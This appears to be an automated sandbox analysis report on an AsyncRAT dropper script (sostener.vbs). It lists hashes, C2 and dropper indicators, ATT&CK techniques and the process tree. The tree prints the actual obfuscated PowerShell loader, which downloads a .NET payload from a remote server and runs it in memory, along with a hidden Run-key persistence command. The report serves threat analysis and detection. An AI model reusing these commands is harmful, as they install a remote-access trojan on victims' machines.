asyncrat | a1a8e23d2f66e05da76366469a1a344973fb1d775a943656de0f90bf0306e447

General

Target

sostener.vbs
Size

438KB
MD5

7038e85f1e6e6405981b64ff58358482
SHA1

9df67362f01d7a33a02a708fa6da1c3a1214fc51
SHA256

a1a8e23d2f66e05da76366469a1a344973fb1d775a943656de0f90bf0306e447
SHA512

e9bc9b726b17f8f513d36054647537d6e494bfb0087306ca52ca0f1f95785afa705ede98baaf71f19fead408f434a061a34ac6f0c457b0b77bdc51f93005c676
SSDEEP

96:OffffUffffUfffflDXc7lYm8ky0xbFi1msE4VIAGYALFCN8V0bf:s7OlYm8kyIhi1msJVIAGYAZCN8qf

Score

10^/10

asyncrat server discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Server

C2

dcmxz.duckdns.org:35650

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

8 1444 powershell.exe
14 1444 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation WScript.exe

flow	pid	process
8	1444	powershell.exe
14	1444	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\_______________________------------- = "Powershell.exe -WindowStyle hidden \"& 'C:\\Users\\Admin\\AppData\\Local\\Temp\\xx2.vbs' \""	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

1444 powershell.exe
2944 powershell.exe
1036 powershell.exe
3680 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1444 set thread context of 1884 1444 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

RegSvcs.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegSvcs.exe

pid	process
1444	powershell.exe
2944	powershell.exe
1036	powershell.exe
3680	powershell.exe

description	pid	process	target process
PID 1444 set thread context of 1884	1444	powershell.exe	RegSvcs.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1036	powershell.exe
1036	powershell.exe
1444	powershell.exe
1444	powershell.exe
3472	powershell.exe
2944	powershell.exe
752	powershell.exe
3472	powershell.exe
2944	powershell.exe
752	powershell.exe
2944	powershell.exe
3680	powershell.exe
3680	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	1444	powershell.exe
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	3472	powershell.exe
Token: SeDebugPrivilege	752	powershell.exe
Token: SeDebugPrivilege	3680	powershell.exe
Token: SeDebugPrivilege	1884	RegSvcs.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3012 wrote to memory of 1036	3012	WScript.exe	powershell.exe
PID 3012 wrote to memory of 1036	3012	WScript.exe	powershell.exe
PID 1036 wrote to memory of 1444	1036	powershell.exe	powershell.exe
PID 1036 wrote to memory of 1444	1036	powershell.exe	powershell.exe
PID 1444 wrote to memory of 2944	1444	powershell.exe	powershell.exe
PID 1444 wrote to memory of 2944	1444	powershell.exe	powershell.exe
PID 1444 wrote to memory of 752	1444	powershell.exe	powershell.exe
PID 1444 wrote to memory of 752	1444	powershell.exe	powershell.exe
PID 1444 wrote to memory of 3472	1444	powershell.exe	powershell.exe
PID 1444 wrote to memory of 3472	1444	powershell.exe	powershell.exe
PID 2944 wrote to memory of 3680	2944	powershell.exe	powershell.exe
PID 2944 wrote to memory of 3680	2944	powershell.exe	powershell.exe
PID 1444 wrote to memory of 1884	1444	powershell.exe	RegSvcs.exe
PID 1444 wrote to memory of 1884	1444	powershell.exe	RegSvcs.exe
PID 1444 wrote to memory of 1884	1444	powershell.exe	RegSvcs.exe
PID 1444 wrote to memory of 1884	1444	powershell.exe	RegSvcs.exe
PID 1444 wrote to memory of 1884	1444	powershell.exe	RegSvcs.exe
PID 1444 wrote to memory of 1884	1444	powershell.exe	RegSvcs.exe
PID 1444 wrote to memory of 1884	1444	powershell.exe	RegSvcs.exe
PID 1444 wrote to memory of 1884	1444	powershell.exe	RegSvcs.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ExeNy = 'J▒Bz▒HE▒YQBh▒Go▒I▒▒9▒C▒▒Jw▒w▒DE▒Mw▒n▒Ds▒J▒B3▒Gk▒a▒Bs▒HY▒I▒▒9▒C▒▒Jw▒l▒H▒▒egBB▒GM▒TwBn▒Ek▒bgBN▒HI▒JQ▒n▒Ds▒WwBC▒Hk▒d▒Bl▒Fs▒XQBd▒C▒▒J▒Bu▒G4▒dQBv▒GE▒I▒▒9▒C▒▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EM▒bwBu▒HY▒ZQBy▒HQ▒XQ▒6▒Do▒RgBy▒G8▒bQBC▒GE▒cwBl▒DY▒N▒BT▒HQ▒cgBp▒G4▒Zw▒o▒C▒▒K▒BO▒GU▒dw▒t▒E8▒YgBq▒GU▒YwB0▒C▒▒TgBl▒HQ▒LgBX▒GU▒YgBD▒Gw▒aQBl▒G4▒d▒▒p▒C4▒R▒Bv▒Hc▒bgBs▒G8▒YQBk▒FM▒d▒By▒Gk▒bgBn▒Cg▒JwBo▒HQ▒d▒Bw▒HM▒Og▒v▒C8▒dwB3▒Hc▒LgBp▒G4▒ZgBv▒HI▒bQBh▒GM▒aQBv▒G4▒bwBw▒G8▒cgB0▒HU▒bgBh▒C4▒YwBv▒G0▒LwB3▒H▒▒LQBj▒G8▒bgB0▒GU▒bgB0▒C8▒dQBw▒Gw▒bwBh▒GQ▒cw▒v▒DI▒M▒▒y▒DQ▒Lw▒w▒Dk▒LwBk▒Gw▒b▒Bz▒Gs▒eQBm▒GE▒b▒▒u▒HQ▒e▒B0▒Cc▒KQ▒p▒Ds▒WwBz▒Hk▒cwB0▒GU▒bQ▒u▒EE▒c▒Bw▒EQ▒bwBt▒GE▒aQBu▒F0▒Og▒6▒EM▒dQBy▒HI▒ZQBu▒HQ▒R▒Bv▒G0▒YQBp▒G4▒LgBM▒G8▒YQBk▒Cg▒J▒Bu▒G4▒dQBv▒GE▒KQ▒u▒Ec▒ZQB0▒FQ▒eQBw▒GU▒K▒▒n▒EM▒b▒Bh▒HM▒cwBM▒Gk▒YgBy▒GE▒cgB5▒DE▒LgBD▒Gw▒YQBz▒HM▒MQ▒n▒Ck▒LgBH▒GU▒d▒BN▒GU▒d▒Bo▒G8▒Z▒▒o▒Cc▒WgB4▒Es▒S▒BH▒Cc▒KQ▒u▒Ek▒bgB2▒G8▒awBl▒Cg▒J▒Bu▒HU▒b▒Bs▒Cw▒I▒Bb▒G8▒YgBq▒GU▒YwB0▒Fs▒XQBd▒C▒▒K▒▒n▒HQ▒e▒B0▒C4▒MQBT▒EQ▒LwBT▒FY▒TgBF▒C8▒egBy▒GE▒TQ▒v▒Gc▒ZQBS▒C8▒awBh▒FQ▒Lw▒5▒DY▒MQ▒u▒DM▒Mw▒y▒C4▒Mg▒w▒DI▒Lg▒x▒Dk▒Lw▒v▒Do▒c▒B0▒HQ▒a▒▒n▒C▒▒L▒▒g▒CQ▒dwBp▒Gg▒b▒B2▒C▒▒L▒▒g▒Cc▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒F8▒XwBf▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒LQ▒t▒C0▒Jw▒s▒C▒▒J▒Bz▒HE▒YQBh▒Go▒L▒▒g▒Cc▒MQ▒n▒Cw▒I▒▒n▒FI▒bwBk▒GE▒Jw▒g▒Ck▒KQ▒7▒▒==';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $ExeNy.replace('▒','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$sqaaj = '013';$wihlv = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[Byte[]] $nnuoa = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString('https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt'));[system.AppDomain]::CurrentDomain.Load($nnuoa).GetType('ClassLibrary1.Class1').GetMethod('ZxKHG').Invoke($null, [object[]] ('txt.1SD/SVNE/zraM/geR/kaT/961.332.202.19//:ptth' , $wihlv , '_______________________-------------', $sqaaj, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Set-ExecutionPolicy Bypass -Scope Process ; powershell -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2944
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -file C:\Users\Admin\AppData\Local\Temp\xx1.ps1
        5⤵
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe Copy-Item 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3472
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1884

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
dfe0cf053041cfe7a15229c01dd65d51

SHA1
927b0946e40d4ecd812cba9fd7cc55fe40ca503a

SHA256
e561ecaf45c067643e2e8c19c800865976b2362e5d2b8e558521ef9c3d638a39

SHA512
0adb787cead1838fa3f2ef1917dcf054a6213be6bb7d51a9286baf7f10373c7a0914b3b441eb616a3688dce63317d39553e43b8b95b53053681134daaeb0f2d1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6fe7f2ff9f024b0658a4113e39b826fc

SHA1
07a0d4ec3b19b62fd409ddb60e843021ac40f1f3

SHA256
e8f1c76e1435d42070f4d6c600c2301710b291674c00ef9c069508f0fea69cf1

SHA512
64448c79c9070cbc179df72420c1d86d10ea2ff8ae0d9c3fed5676851cb45a64e65a9d637a1f8f41ecf4dc51c3d5ff8a689519d9ea13d9837b3f9cfaddd13979

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mdmmnjmx.kbd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\xx1.ps1

Filesize
265B

MD5
3613b0cfa9cd66b5bc0bc4aabe147838

SHA1
94bb2a7ae944b9906f95ac19bd3fd199a4396a6b

SHA256
6bc7c43d63f298a0078345bac278b90076521d73259fc34f046df021d738f653

SHA512
282e0d1543850ea5affae87b3e66d1ffbf837c1f2c976843874dc6f0746bb989b18b9ff0be74726165cd8dbdb64068d21f9bd44f04eef5764e1f14fccd31698b

Download Submit
memory/1036-12-0x00007FFDB9230000-0x00007FFDB9CF1000-memory.dmp

Filesize
10.8MB

Download
memory/1036-0-0x00007FFDB9233000-0x00007FFDB9235000-memory.dmp

Filesize
8KB

Download
memory/1036-11-0x00007FFDB9230000-0x00007FFDB9CF1000-memory.dmp

Filesize
10.8MB

Download
memory/1036-10-0x0000019159D40000-0x0000019159D62000-memory.dmp

Filesize
136KB

Download
memory/1036-77-0x00007FFDB9230000-0x00007FFDB9CF1000-memory.dmp

Filesize
10.8MB

Download
memory/1444-22-0x000001ECF92A0000-0x000001ECF92A8000-memory.dmp

Filesize
32KB

Download
memory/1444-71-0x000001ECF9420000-0x000001ECF942A000-memory.dmp

Filesize
40KB

Download
memory/1884-72-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/1884-80-0x0000000005C80000-0x0000000005D1C000-memory.dmp

Filesize
624KB

Download
memory/1884-81-0x00000000062D0000-0x0000000006874000-memory.dmp

Filesize
5.6MB

Download
memory/1884-82-0x0000000005D90000-0x0000000005DF6000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads